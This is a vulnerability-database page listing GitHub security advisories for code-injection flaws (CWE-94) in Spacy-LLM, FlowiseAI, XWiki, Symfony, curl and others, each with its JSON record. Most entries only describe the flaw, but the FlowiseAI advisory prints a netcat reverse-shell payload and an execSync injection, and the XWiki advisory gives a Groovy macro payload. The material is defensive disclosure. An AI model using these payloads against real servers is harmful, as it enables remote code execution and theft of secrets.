Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8378 vulnerabilities reference this CWE, most recent first.

GHSA-793V-GXFP-9Q9H

Vulnerability from github – Published: 2025-03-05 21:32 – Updated: 2025-04-02 22:59
VLAI
Summary
Spacy-LLM Server-Side Template Injection (SSTI) vulnerability
Details

A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "spacy-llm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-05T22:21:46Z",
    "nvd_published_at": "2025-03-05T21:15:19Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.",
  "id": "GHSA-793v-gxfp-9q9h",
  "modified": "2025-04-02T22:59:09Z",
  "published": "2025-03-05T21:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25362"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explosion/spacy-llm/issues/492"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explosion/spacy-llm/pull/491"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explosion/spacy-llm/commit/8bde0490cc1e9de9dd2e84480b7b5cd18a94d739"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/explosion/spacy-llm"
    },
    {
      "type": "WEB",
      "url": "https://www.hacktivesecurity.com/blog/2025/04/01/cve-2025-25362-old-vulnerabilities-new-victims-breaking-llm-prompts-with-ssti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Spacy-LLM Server-Side Template Injection (SSTI) vulnerability"
}

GHSA-7944-7C6R-55VV

Vulnerability from github – Published: 2025-09-15 19:51 – Updated: 2025-10-17 20:23
VLAI
Summary
FlowiseAI Pre-Auth Arbitrary Code Execution
Details

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

image(3)

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

image(4)

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

image(5)

image-1 image-2

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

image(6)

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.
  2. Login as an admin user.
  3. Drag in a Supabase node and configure "Supabase RPC Filter".
  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.5"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T19:51:08Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript\u0027s `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n\u003cimg width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" /\u003e\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n\u003cimg width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" /\u003e\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n\u003cimg width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" /\u003e\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n\u003cimg width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" /\u003e\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found \ud1f4\uadfc (WhiteHat School 3rd cohort, South Korea)**",
  "id": "GHSA-7944-7c6r-55vv",
  "modified": "2025-10-17T20:23:36Z",
  "published": "2025-09-15T19:51:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57164"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseAI Pre-Auth Arbitrary Code Execution"
}

GHSA-7954-6M9Q-GPVF

Vulnerability from github – Published: 2023-08-18 21:50 – Updated: 2023-08-18 21:50
VLAI
Summary
XWiki Platform privilege escalation (PR)/RCE from account through Invitation subject/message
Details

Impact

Any user who can view Invitation.WebHome can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:

  1. Open the invitation application (Invitation.WebHome).
  2. Set the subject to {{cache}}{{groovy}}new File("/tmp/exploit.txt").withWriter { out -> out.println("Attacked from invitation!"); }{{/groovy}}{{/cache}}
  3. Click "Preview"

Patches

The vulnerability has been patched on XWiki 14.4.8, 15.2-rc-1, and 14.10.6.

Workarounds

The vulnerability can be patched manually by applying the patch on Invitation.InvitationCommon and Invitation.InvitationConfig.

References

  • https://jira.xwiki.org/browse/XWIKI-20421
  • https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5-m-1"
            },
            {
              "fixed": "14.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.2-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-37914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-18T21:50:33Z",
    "nvd_published_at": "2023-08-17T18:15:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny user who can view `Invitation.WebHome` can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:\n\n\n1.    Open the invitation application (Invitation.WebHome).\n1.    Set the subject to `{{cache}}{{groovy}}new File(\"/tmp/exploit.txt\").withWriter { out -\u003e out.println(\"Attacked from invitation!\"); }{{/groovy}}{{/cache}}`\n1.    Click \"Preview\"\n\n\n### Patches\nThe vulnerability has been patched on XWiki 14.4.8, 15.2-rc-1, and 14.10.6.\n\n### Workarounds\nThe vulnerability can be patched manually by applying the [patch](https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591) on `Invitation.InvitationCommon` and `Invitation.InvitationConfig`.\n\n### References\n- https://jira.xwiki.org/browse/XWIKI-20421\n- https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-7954-6m9q-gpvf",
  "modified": "2023-08-18T21:50:33Z",
  "published": "2023-08-18T21:50:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7954-6m9q-gpvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20421"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform privilege escalation (PR)/RCE from account through Invitation subject/message"
}

GHSA-7977-RJM6-8JG8

Vulnerability from github – Published: 2022-05-02 00:10 – Updated: 2022-05-02 00:10
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in asiCMS alpha 0.208 allow remote attackers to execute arbitrary PHP code via a URL in the _ENV[asicms][path] parameter to (1) Association.php, (2) BigMath.php, (3) DiffieHellman.php, (4) DumbStore.php, (5) Extension.php, (6) FileStore.php, (7) HMAC.php, (8) MemcachedStore.php, (9) Message.php, (10) Nonce.php, (11) SQLStore.php, (12) SReg.php, (13) TrustRoot.php, and (14) URINorm.php in classes/Auth/OpenID/; and (15) XRDS.php, (16) XRI.php and (17) XRIRes.php in classes/Auth/Yadis/.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-4529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-09T18:14:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in asiCMS alpha 0.208 allow remote attackers to execute arbitrary PHP code via a URL in the _ENV[asicms][path] parameter to (1) Association.php, (2) BigMath.php, (3) DiffieHellman.php, (4) DumbStore.php, (5) Extension.php, (6) FileStore.php, (7) HMAC.php, (8) MemcachedStore.php, (9) Message.php, (10) Nonce.php, (11) SQLStore.php, (12) SReg.php, (13) TrustRoot.php, and (14) URINorm.php in classes/Auth/OpenID/; and (15) XRDS.php, (16) XRI.php and (17) XRIRes.php in classes/Auth/Yadis/.",
  "id": "GHSA-7977-rjm6-8jg8",
  "modified": "2022-05-02T00:10:56Z",
  "published": "2022-05-02T00:10:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4529"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45684"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6685"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4391"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31601"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2755"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-79CW-X93G-Q95P

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-08-05 00:00
VLAI
Details

Go before 1.14.14 and 1.15.x before 1.15.7 on Windows is vulnerable to Command Injection and remote code execution when using the "go get" command to fetch modules that make use of cgo (for example, cgo can execute a gcc program from an untrusted download).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-427",
      "CWE-77",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-26T18:16:00Z",
    "severity": "HIGH"
  },
  "details": "Go before 1.14.14 and 1.15.x before 1.15.7 on Windows is vulnerable to Command Injection and remote code execution when using the \"go get\" command to fetch modules that make use of cgo (for example, cgo can execute a gcc program from an untrusted download).",
  "id": "GHSA-79cw-x93g-q95p",
  "modified": "2022-08-05T00:00:27Z",
  "published": "2022-05-24T17:40:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3115"
    },
    {
      "type": "WEB",
      "url": "https://blog.golang.org/path-security"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/mperVMGa98w"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YWAYJGXWC232SG3UR3TR574E6BP3OSQQ"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202208-02"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210219-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79GR-58R3-PWM3

Vulnerability from github – Published: 2019-12-02 18:07 – Updated: 2024-02-01 15:48
VLAI
Summary
Symfony Unsafe Cache Serialization Could Enable RCE
Details

An issue was discovered in Symfony 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. Serializing certain cache adapter interfaces could result in remote code injection. This is related to symfony/cache.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/cache"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.4.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/cache"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/cache"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.4.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-18889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-12-01T19:45:07Z",
    "nvd_published_at": "2019-11-21T23:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Symfony 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. Serializing certain cache adapter interfaces could result in remote code injection. This is related to symfony/cache.",
  "id": "GHSA-79gr-58r3-pwm3",
  "modified": "2024-02-01T15:48:28Z",
  "published": "2019-12-02T18:07:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/cache/CVE-2019-18889.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2019-18889.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/releases/tag/v4.3.8"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UED22BOXTL2SSFMGYKA64ZFHGLLJG3EA"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UED22BOXTL2SSFMGYKA64ZFHGLLJG3EA"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/blog/cve-2019-18889-forbid-serializing-abstractadapter-and-tagawareadapter-instances"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/blog/symfony-4-3-8-released"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2019-18889"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Symfony Unsafe Cache Serialization Could Enable RCE"
}

GHSA-79H8-GXHQ-Q3JG

Vulnerability from github – Published: 2024-06-24 00:34 – Updated: 2024-06-24 21:25
VLAI
Summary
Remote Code Execution in create_conda_env function in lollms
Details

A remote code execution vulnerability exists in the create_conda_env function of the parisneo/lollms repository. The vulnerability arises from the use of shell=True in the subprocess.Popen function, which allows an attacker to inject arbitrary commands by manipulating the env_name and python_version parameters. This issue could lead to a serious security breach as demonstrated by the ability to execute the 'whoami' command among potentially other harmful commands.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lollms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "9.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-24T21:25:40Z",
    "nvd_published_at": "2024-06-24T00:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A remote code execution vulnerability exists in the create_conda_env function of the parisneo/lollms repository. The vulnerability arises from the use of shell=True in the subprocess.Popen function, which allows an attacker to inject arbitrary commands by manipulating the env_name and python_version parameters. This issue could lead to a serious security breach as demonstrated by the ability to execute the \u0027whoami\u0027 command among potentially other harmful commands.",
  "id": "GHSA-79h8-gxhq-q3jg",
  "modified": "2024-06-24T21:25:40Z",
  "published": "2024-06-24T00:34:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3121"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ParisNeo/lollms"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/db57c343-9b80-4c1c-9ab0-9eef92c9b27b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote Code Execution in create_conda_env function in lollms"
}

GHSA-79JQ-9HHM-7RFM

Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2022-05-25 00:00
VLAI
Details

A code injection in Nextcloud Desktop Client 2.6.4 allowed to load arbitrary code when placing a malicious OpenSSL config into a fixed directory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-8224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-10T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A code injection in Nextcloud Desktop Client 2.6.4 allowed to load arbitrary code when placing a malicious OpenSSL config into a fixed directory.",
  "id": "GHSA-79jq-9hhm-7rfm",
  "modified": "2022-05-25T00:00:26Z",
  "published": "2022-05-24T17:25:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8224"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/622170"
    },
    {
      "type": "WEB",
      "url": "https://nextcloud.com/security/advisory/?id=NC-SA-2020-030"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202009-09"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79V2-FJ3P-7X4F

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

A weakness has been identified in antv layout 2.0.0. This impacts the function setNestedValue in the library lib/util/object.js. Executing a manipulation of the argument path can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:45Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in antv layout 2.0.0. This impacts the function setNestedValue in the library lib/util/object.js. Executing a manipulation of the argument path can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-79v2-fj3p-7x4f",
  "modified": "2026-07-14T00:31:01Z",
  "published": "2026-07-14T00:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antvis/layout/issues/292"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15598"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855637"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378113"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378113/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-79V3-H2VF-VCG6

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:09
VLAI
Details

A non-privileged user or program can put code and a config file in a known non-privileged path (under C:/usr/local/) that will make curl <= 7.65.1 automatically run the code (as an openssl "engine") on invocation. If that curl is invoked by a privileged user it can do anything it wants.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-5443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-427",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-02T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A non-privileged user or program can put code and a config file in a known non-privileged path (under C:/usr/local/) that will make curl \u003c= 7.65.1 automatically run the code (as an openssl \"engine\") on invocation. If that curl is invoked by a privileged user it can do anything it wants.",
  "id": "GHSA-79v3-h2vf-vcg6",
  "modified": "2024-04-04T01:09:04Z",
  "published": "2022-05-24T16:49:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5443"
    },
    {
      "type": "WEB",
      "url": "https://curl.haxx.se/docs/CVE-2019-5443.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20191017-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
